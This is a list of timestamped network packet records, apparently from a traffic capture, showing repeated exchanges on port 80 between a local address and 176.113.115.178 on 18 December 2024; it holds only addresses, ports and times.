Dec 18, 2024 13:49:50.808940887 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.809248924 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.809350014 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.809815884 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.809871912 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.810230017 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.810625076 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.810731888 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.811041117 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.811450958 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.811507940 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.812397003 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.812796116 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.812870026 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.813246012 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.813666105 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.813733101 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.814049959 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.814501047 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.814661980 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.815080881 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.815359116 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.815624952 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.816097021 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.816318035 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.816704988 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.817042112 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.868859053 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.956377983 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.956604004 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.956707001 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.957012892 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.957434893 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.957528114 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.957845926 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.958264112 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.958563089 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.958844900 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.959146976 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.959238052 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.959930897 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.960108995 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.960186958 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.960902929 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.961185932 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.961316109 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.961926937 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.962166071 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.962271929 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.962933064 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.963105917 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.963247061 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.963911057 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.964164019 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.964317083 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.964979887 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.965225935 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.965605974 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.965980053 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.966207027 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.966260910 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.966989040 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.967191935 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.967255116 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.967998981 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.968198061 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.968265057 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.969012976 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.969234943 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.969305992 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.970009089 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.970217943 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.970289946 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.971000910 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.971180916 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.971354961 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.971992970 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.972244978 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.972484112 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.973082066 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.973257065 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.973319054 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.973997116 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.974555016 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.975182056 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.975198030 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.975244999 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.975334883 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.976039886 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.976279974 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.976455927 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.977026939 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.977241039 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.977319002 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.978135109 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.978391886 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.978663921 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.979207039 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.979598045 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.979665041 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.980261087 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.980401039 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.980835915 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.981220007 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.981631041 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.981998920 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.982063055 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.982287884 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.982389927 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.983026981 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.983263969 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.983345032 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.984169006 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.984338999 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.984483957 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.985136032 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.985327005 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.985454082 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.986056089 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.986407995 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.986480951 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.987191916 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.987332106 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.987397909 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.988070965 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.988356113 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.988429070 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.989074945 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.989370108 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.989456892 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.990144014 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.990372896 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.990467072 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.991233110 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.991427898 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.991537094 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.992214918 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.992394924 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.992480040 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.993283987 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.993649006 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.993793011 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.994465113 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.994628906 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.994726896 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.995497942 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.995732069 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.995853901 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.996475935 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.996706963 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.996813059 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.997432947 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.997566938 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.997648001 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.998362064 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.998596907 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.998653889 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.999469995 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.999773026 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.999995947 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.000694036 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.000895977 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.001020908 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.001537085 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.001763105 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.001832008 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.002567053 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.002896070 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.003179073 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.003585100 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.003890991 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.003959894 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.004693031 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.004913092 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.005307913 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.005621910 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.005860090 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.005966902 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.006541014 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.006778955 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.006844044 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.007436037 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.007623911 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.007678032 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.008287907 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.008513927 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.008663893 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.009268045 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.056246996 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.148544073 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.148745060 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.148828983 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.149096012 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.149525881 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.149774075 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.149785995 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.150166035 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.150264978 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.150677919 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.151014090 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.151212931 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.151932955 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.152049065 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.152237892 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.152776003 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.152935028 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.153040886 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.153800964 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.153975964 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.154362917 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.154745102 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.155246019 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.155337095 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.155787945 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.156153917 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.156414986 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.156815052 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.157052040 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.157191038 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.157754898 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.157975912 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.158054113 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.158771038 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.158982038 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.159050941 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.159815073 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.160044909 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.160159111 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.160773039 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.161111116 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.161300898 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.161776066 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.162019968 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.162144899 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.162929058 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.163178921 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.163290977 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.163804054 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.164063931 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.164155006 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.164841890 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.165047884 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.165149927 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.165903091 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.166081905 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.166306019 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.166894913 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.167033911 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.167160988 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.167881966 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.168034077 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.168113947 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.168845892 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.169085979 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.169249058 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.169866085 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.170048952 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.170144081 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.170845985 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.171065092 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.171255112 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.171858072 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.172059059 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.172131062 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.172895908 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.173086882 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.173271894 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.173860073 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.174118042 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.174468040 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.174949884 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.175108910 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.175414085 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.176026106 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.176181078 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.176403999 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.176883936 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.177135944 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.177212954 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.177923918 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.178145885 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.178215981 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.178931952 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.179160118 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.179275036 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.179910898 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.180104971 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.180167913 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.180969954 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.181257010 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.181355953 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.181948900 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.182116985 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.182468891 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.182909966 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.183154106 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.183909893 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.184012890 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.184220076 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.184289932 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.184957981 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.185158014 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.185228109 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.185980082 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.186199903 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.186398983 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.186991930 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.187166929 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.187328100 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.187963963 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.188174009 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.188263893 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.188935041 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.189181089 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.189321995 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.189985037 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.190172911 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.190308094 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.191003084 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.191200018 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.191281080 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.192123890 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.192161083 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.192248106 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.193008900 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.193233967 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.193304062 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.193986893 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.194194078 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.194250107 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.194989920 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.195220947 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.195307016 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.196048021 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.196379900 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.196494102 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.197009087 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.197371960 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:51.197436094 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:51.198004961 CET	80	49822	176.113.115.178	192.168.2.6
